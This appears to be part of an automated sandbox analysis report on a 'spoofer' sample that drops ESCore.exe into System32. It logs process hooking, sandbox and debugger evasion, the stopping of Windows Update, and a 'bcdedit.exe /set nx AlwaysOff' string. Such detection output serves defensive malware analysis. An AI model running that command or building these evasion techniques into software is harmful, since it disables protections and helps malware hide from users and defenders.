Source: ESCore.exe.0.dr	Static PE information: section name: ')6SX#X;
Source: ESCore.exe.0.dr	Static PE information: section name: j?XIoYBN
Source: ESCore.exe.0.dr	Static PE information: section name: 2X6/(dFr
Source: ESCore.exe.0.dr	Static PE information: section name: 'kq$.m0s
Source: ESCore.exe.0.dr	Static PE information: section name: w+,49HG'
Source: ESCore.exe.0.dr	Static PE information: section name: ^bu[leN@
Source: ESCore.exe.0.dr	Static PE information: section name: =COi:vZ4
Source: ESCore.exe.0.dr	Static PE information: section name: ,:.z0qA6
Source: UpdatePackage.dat.0.dr	Static PE information: section name: eQ*kK6u.
Source: UpdatePackage.dat.0.dr	Static PE information: section name: ;^zEH,>R
Source: UpdatePackage.dat.0.dr	Static PE information: section name: -!c>1D&Y
Source: UpdatePackage.dat.0.dr	Static PE information: section name: Dl:$]-l>
Source: UpdatePackage.dat.0.dr	Static PE information: section name: ,=9EfFRZ

Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848E0D2A5 pushad ; iretd	12_2_00007FF848E0D2A6
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F27558 push eax; ret	12_2_00007FF848F27562
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F238D8 push dword ptr [ebp+ebx*8-75h]; ret	12_2_00007FF848F238DC
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848FFCA29 push cs; retf 0000h	12_2_00007FF848FFCA59

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\VivianSpoofer.exe

Executable created and started: C:\Windows\System32\ESCore.exe

Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	File created: C:\Windows\System32\ESCore.exe	Jump to dropped file
Source: C:\Users\user\Desktop\aYu936prD4.exe	File created: C:\Users\user\Desktop\UpdatePackage.dat	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\Desktop\VivianSpoofer.exe (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\aYu936prD4.exe

File created: C:\Windows\System32\ESCore.exe

Jump to dropped file

Source: aYu936prD4.exe	Binary or memory string: bcdedit.exe /set nx AlwaysOff
Source: UpdatePackage.dat.0.dr	Binary or memory string: bcdedit.exe /set nx AlwaysOff

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 6164 base: 7FF8C8A50008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 6164 base: 7FF8C88ED9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 6164 base: 7FF8C8A6000D value: E9 BB CB EB FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 6164 base: 7FF8C891CBC0 value: E9 5A 34 14 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 5952 base: 7FF8C8A50008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 5952 base: 7FF8C88ED9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 5952 base: 7FF8C8A6000D value: E9 BB CB EB FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 5952 base: 7FF8C891CBC0 value: E9 5A 34 14 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 3200 base: 7FF8C8A50008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 3200 base: 7FF8C88ED9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 3200 base: 7FF8C8A6000D value: E9 BB CB EB FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 3200 base: 7FF8C891CBC0 value: E9 5A 34 14 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 516 base: 7FF8C8A50008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 516 base: 7FF8C88ED9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 516 base: 7FF8C8A6000D value: E9 BB CB EB FF	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Memory written: PID: 516 base: 7FF8C891CBC0 value: E9 5A 34 14 00	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="1"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="2"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="2"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="3"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="3"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="4"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="4"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="5"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="5"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="6"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="6"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="7"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="7"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapter where NetConnectionId IS NOT NULL
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_NetworkAdapter.DeviceID="1"::Enable

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Service where Name = 'wuauserv'
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Service.Name="wuauserv"::StopService
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Service.Name="wuauserv"::ChangeStartMode

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: aYu936prD4.exe, UpdatePackage.dat.0.dr

Binary or memory string: SBIEDLL.DLL

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Windows\System32\ESCore.exe	Special instruction interceptor: First address: 140AF4EFC instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Windows\System32\ESCore.exe	Special instruction interceptor: First address: 140AA2C32 instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Users\user\Desktop\aYu936prD4.exe	Memory allocated: 2C2D7960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Memory allocated: 2C2F13B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Memory allocated: 1F22D5D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Memory allocated: 1F247030000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Users\user\Desktop\VivianSpoofer.exe

Window / User API: threadDelayed 370

Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 3472	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 2876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 6008	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 2608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 3472	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 1644	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 5668	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 5668	Thread sleep time: -600000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\VivianSpoofer.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: ESCore.exe, 00000010.00000002.2884175315.0000000000499000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.000000000044D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: VivianSpoofer.exe, 0000000C.00000002.3922225419.000001F2477A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\ESCore.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\ESCore.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect debuggers (CloseHandle check)

Source: C:\Windows\System32\ESCore.exe	Handle closed: DEADC0DE
Source: C:\Windows\System32\ESCore.exe	Handle closed: DEADC0DE
Source: C:\Windows\System32\ESCore.exe	Handle closed: DEADC0DE
Source: C:\Windows\System32\ESCore.exe	Handle closed: DEADC0DE

Source: C:\Windows\System32\ESCore.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process token adjusted: Debug			Jump to behavior

